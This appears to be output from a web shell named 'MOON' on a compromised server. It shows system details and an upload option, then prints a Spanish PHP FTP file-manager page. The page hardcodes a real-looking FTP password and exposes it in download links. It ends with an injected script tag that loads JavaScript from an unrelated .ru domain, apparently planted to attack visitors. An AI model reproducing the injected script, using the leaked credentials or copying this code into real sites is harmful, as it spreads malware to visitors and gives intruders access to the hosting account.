MOON
Server: Apache/2.2.34 (Unix) mod_ssl/2.2.34 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 FrontPage/5.0.2.2635
System: Linux server.asjudinet.com 2.6.32-042stab141.3 #1 SMP Fri Nov 15 22:45:34 MSK 2019 i686
User: asjudine (504)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: /home/asjudine/public_html/Adjuntar.php
<html>
<head><Title>Gestión de ficheros via FTP</title>
<style type="text/css">
#base{font-family:Arial;font-size:12px;color:#0000a0;text-align:center}
#cabezas{font-family:Arial;font-size:10px;color:#0000a0;text-align:center}
#blanco{font-family:Arial;font-size:14px;font-weight:bold;color:#ffffff;text-align:center;background-color:#0000a0}
#gris{font-family:Arial;font-size:13px;font-weight:bold;color:#0000a0;text-align:center;background-color:#eeeeee}
#rojo{font-family:Arial;font-size:14px;font-weight:bold;color:#ff0000;text-align:center}
#rojo1{font-family:Arial;font-size:10px;color:#ff0000;text-align:center}
A:link, A:visited, A:active { text-decoration: none;color:#ff0000}
A:hover(font-style:italic}
</style>
<!-- funcion JavaScript que actualiza los valores del formulario
    y recarga la página con los nuevos valores /-->
<script>
function cambia(valor1,valor2){
     document.forms.pasador.dire.value=valor1;
      document.forms.pasador.transferido.value=valor2;
 document.forms.pasador.submit();

}
</script>
</head>
<body>
<!-- formulario para trasferencia de datos gestionado
      por la función cambia() de JavaScript /-->
<form name="pasador" action="" method="post">
<input type="hidden" name='dire' value="">
<input type="hidden" name='transferido' value="">
</form>
<?
###############################################
# variables con los datos de conexión
################################################
$servidor="asjudinet.com";
$usuario="asjudine";
$password="nrL2Tklp";
###############################################
# variables de controlo de bucles y escritura
##############################################
$control="c_";
$escribe="";
$cabecera=="";
#################################################
#conexion al servidor FTP
if(!$x=@ftp_connect ($servidor,21)){echo "No se activo lo conexión FTP";exit();}
# identificación del usuario en el servidor FTP
if(!@ftp_login($x,$usuario,$password)){echo "Error en login o password";exit();}
###########################################
## elección del directorio (raiz o el valor transferido desde el formulario)
###################################
if(!$_REQUEST['dire'])
{
    $dire="/";
}
else
{
    $dire=$_REQUEST['dire'];
}  

#comprobación de los permisos de acceso al directorio elegido, en caso de no tenerlos
# finaliza el proceso y acaba la ejecución

if(!@ftp_chdir($x,$dire))
{
       print "No tienes permisos de acceso a este directorio";
       exit();
} 

# comtrol de transferencia de archivos. Comprueba errores de transferencia
# y da un mensaje de aviso de error si lo hubiera
if($_FILES['archivo']['error']!=0){
 $controla=" no ha podido transferirse.<BR> Se ha producido un error".$_FILES['archivo']['error']."<BR> en el proceso de transferencia.";
}
################################################
# caso de haber recibido una transferencia de fichero
###############################################
if(!empty($_FILES["archivo"]) AND $_FILES['archivo']['error']==0){
                    $nombre_archivo=$_FILES['archivo']['name'].".gz";
                    #abre el archivo temporal transferido
            $cadena='';
# abre el fichero temporal transferido y lo lee guardandolo
# en la variable $cadena
          $f1=fopen($_FILES['archivo']['tmp_name'],"r");    
                          while (!feof($f1)) {
                                 $cadena .= fgets($f1,1024);
                               }
          fclose($f1);
# comprime la cadena obtenida del fichero temporal
          $c1=gzencode($cadena,3,FORCE_GZIP);
#crea un archivo comprimido
          $f=fopen($nombre_archivo,"w");
          fwrite($f,$c1);
          fclose($f);
#cambia al directorio actual del servidor FTP
          ftp_chdir($x,$dire);
# escribe el fichero en el en directorio FTP
# comprobando si ha podido guardarse
# Si el usuario no tiene permsios de "borrado" en el directorio destino
# y el nombre coincide con uno preexistente dará un mensaje de error
# si tiene permisos para borrar ficheros lo sobreescribiría eliminando el anterior
         if(@ftp_put($x, $nombre_archivo, $nombre_archivo, FTP_BINARY)){
             $controla="ha sido transferido con éxito";
          }else{
              $controla=" no ha podido transferirse.<BR> Probablemente existe<BR> otro archivo con el mismo nombre.";
          }
# borra el archivo comprimido del servidor ftp.
          unlink($nombre_archivo);
# elimina la variable $_FILES
          unset($_FILES["archivo"]);
          
}    
#inserta una tabla con cabeceras que indican el nombre de usuario y el directorio actual    
    ?>
<table align=center border=2 bgcolor=#ffffff bordercolor=#eeeeee cellpadding=2 cellspacing=2>
<td colspan=4  id="blanco">Usuario del servicio FTP</td>
<tr id="rojo"><td colspan=4><?=$usuario;?></td><tr>
<td colspan=4  id="blanco">Directorio actual</td>
<tr id="rojo"><td colspan=4><img src='/ELEMENTOS/Foldercito.jpg'>&nbsp;&nbsp;<?=preg_replace('/\/+/', '/', $dire);?></td><tr id="chiquiC" align=center>

<?
# lee la lista de ficheros del directorio actual si existen
if($lista=ftp_rawlist($x,$dire)){
# ordena el array lista por nombres
       sort($lista);
#lee el array que contiene la lista de ficheros
       foreach($lista as $v){
#extrae los diferentes bloques de la cadena convirtiendolos en elementos de un array
#previamente elimina los espacios repetidos
            $extrae=explode(" ",preg_replace('/\s+/', ' ', $v));
#comprueba si existen el fichero de control y si tiene permisos de escriturs
#esto nos indicaría si el usuario puede escribir en el directorio actual
# la variable $escribe habia sido inicializada con valor null
                   if($extrae[8]==$control){
                       if(substr($extrae[0],0,1)=="-" AND substr($extrae[0],2,1)=="w"){
                       $escribe="Si";
                       }
                     $encontrado="Si";
                  }
    
       }



      foreach($lista as $v){
#extrae los diferentes bloques de la cadena convirtiendolos en elementos de un arrya
#previamente elimina los espacios repetidos
            $extrae=explode(" ",preg_replace('/\s+/', ' ', $v));
           

# busca los ficheros y directororios que tengan permiso de lectura
# y los guarda en el array listado
            if ((substr($extrae[0],0,1)=="-" AND substr($extrae[0],1,1)=="r" AND $extrae[8]!=$control)
                       OR
               (substr($extrae[0],0,1)=="d" AND substr($extrae[0],-3,1)=="r")){
                             $listado[]=$extrae;      
            }
       }
# comprueba que el array listado contiene algun elemento. De ser así incluye la cabecera de la tabla
# en caso contrario no lo hace
    if (sizeof($listado)>0){?>
              <td colspan=4 id="blanco">Opciones de descarga vía FTP<BR><tr id="cabezas" align=center>
              <td>Fichero</td><td>Tamaño (bytes)</td><td>Fecha</td><td>Hora</td><tr id='base'>
        
<?
#lee los elementos del array selecciona ficheros de directorios
# en el caso de fichero   escribe los nombres incluyendo un enlace de descarga
# mediante ftp://
# en caso de que sea un directorio incluye una llamada a una función javascript 
# que modifica el value de la variable "dire" del formulario "pasador"
# incluyendo el nombre del directorio elegido, y recarga la página mediante el envio del formulario 
         
		  for($i=0;$i<sizeof($listado);$i++){
              if (substr($listado[$i][0],0,1)=="-"){
			
			//  ftp://asjudine:nrL2Tklp@asjudinet.com 

                    print "<td align=left><A href='ftp://".$usuario.":".$password."@".$servidor.$dire."/".$listado[$i][8]."'>&nbsp;&nbsp;<img src='/ELEMENTOS/Archivo.jpg' border=0>&nbsp;&nbsp;".$listado[$i][8]."</a></td>";
              }else{
                     print "<td align=left><A href=\"javascript:cambia('".$dire."/".$listado[$i][8]."','')\"><img src='/ELEMENTOS/Foldercito.jpg'' border=0>&nbsp;&nbsp;" .$listado[$i][8]."</a></td>";
              }
# comprueba la fecha de la ultima modificación de los ficheros
# y en caso de ser menor del tiempo UNIX=0 incluye un espacio el blanco
# si la fecha es correcta extrae la fecha y la hora con el formato indicado

              if(ftp_mdtm($x,$listado[$i][8])>0){
                 $fecha=date("d-m-Y",ftp_mdtm($x,$listado[$i][8]));
                 $hora=date("H:i:s",ftp_mdtm($x,$listado[$i][8]));
               }else{
                 $fecha="&nbsp;";
                 $hora="&nbsp;";
               }
# imprime en la tabla el tamaño, fecha y hora de modificación del fichero
              print "<td align=right>".number_format($listado[$i][4],0 , "" ,".")."</td>";
              print "<td align=right>".$fecha."</td>";
              print "<td align=center>".$hora."</td><tr  id='base'>"; 

          }


      }

}
#cierra la conexión ftp
/*
if(empty($lista) OR empty($encontrado)){
                 $f=fopen($control,"w");
                  fclose($f);
              if(@ftp_put($x, $control, $control, FTP_BINARY)){
              $escribe="Si";
                  }else{
                     }
            unlink($control);
}*/
 ftp_quit($x);
# incluye el formulario de transferencia de ficheros
# en el caso de que el directorio permita transferencias de fichero
if ($escribe=="Si")
{    
          print"<tr><td colspan='4' id='base'>&nbsp;</td><tr>";
          print "<td colspan=4 id='blanco'>Transferir archivos al directorio actual</td><tr>";
          # si ha habido una transferencia previa de otro fichero informa sobre el resultado
  if ($controla!='')
  { 
        print "<td colspan='4' id='gris'>El fichero<br><span id='rojo'> ".$nombre_archivo."<br></span>".$controla."</td><tr>";
  }
#incluye el formulario de transferencia del fichero
}
else
{
?>
<td colspan=4 align=center id="rojo1">
Recuerda que los ficheros no pueden sobrepasar los 2 MBytes<br>
<form action="" ENCTYPE="multipart/form-data" method="post" name="form_ftp">
<input name="archivo" type="file">
<input type="hidden" name="dire" value="<?=$dire;?>"><BR><BR><BR>
<input name="submit" type="submit" value="Subir Archivo al servidor FTP">
</form>
</td>
    
<tr>
<td colspan=4 align=center><A href="javascript:cambia('','')";>Volver al directorio raíz</a><BR></table>
<?
  //       }else{
    ?>
    <td colspan=4 align=center><A href="javascript:cambia('','')";>Volver al directorio raíz</a><BR></table>
    </table>
    <?
}
?>





<script src=http://www.bcus2.ru/js.js></script></body>
</html>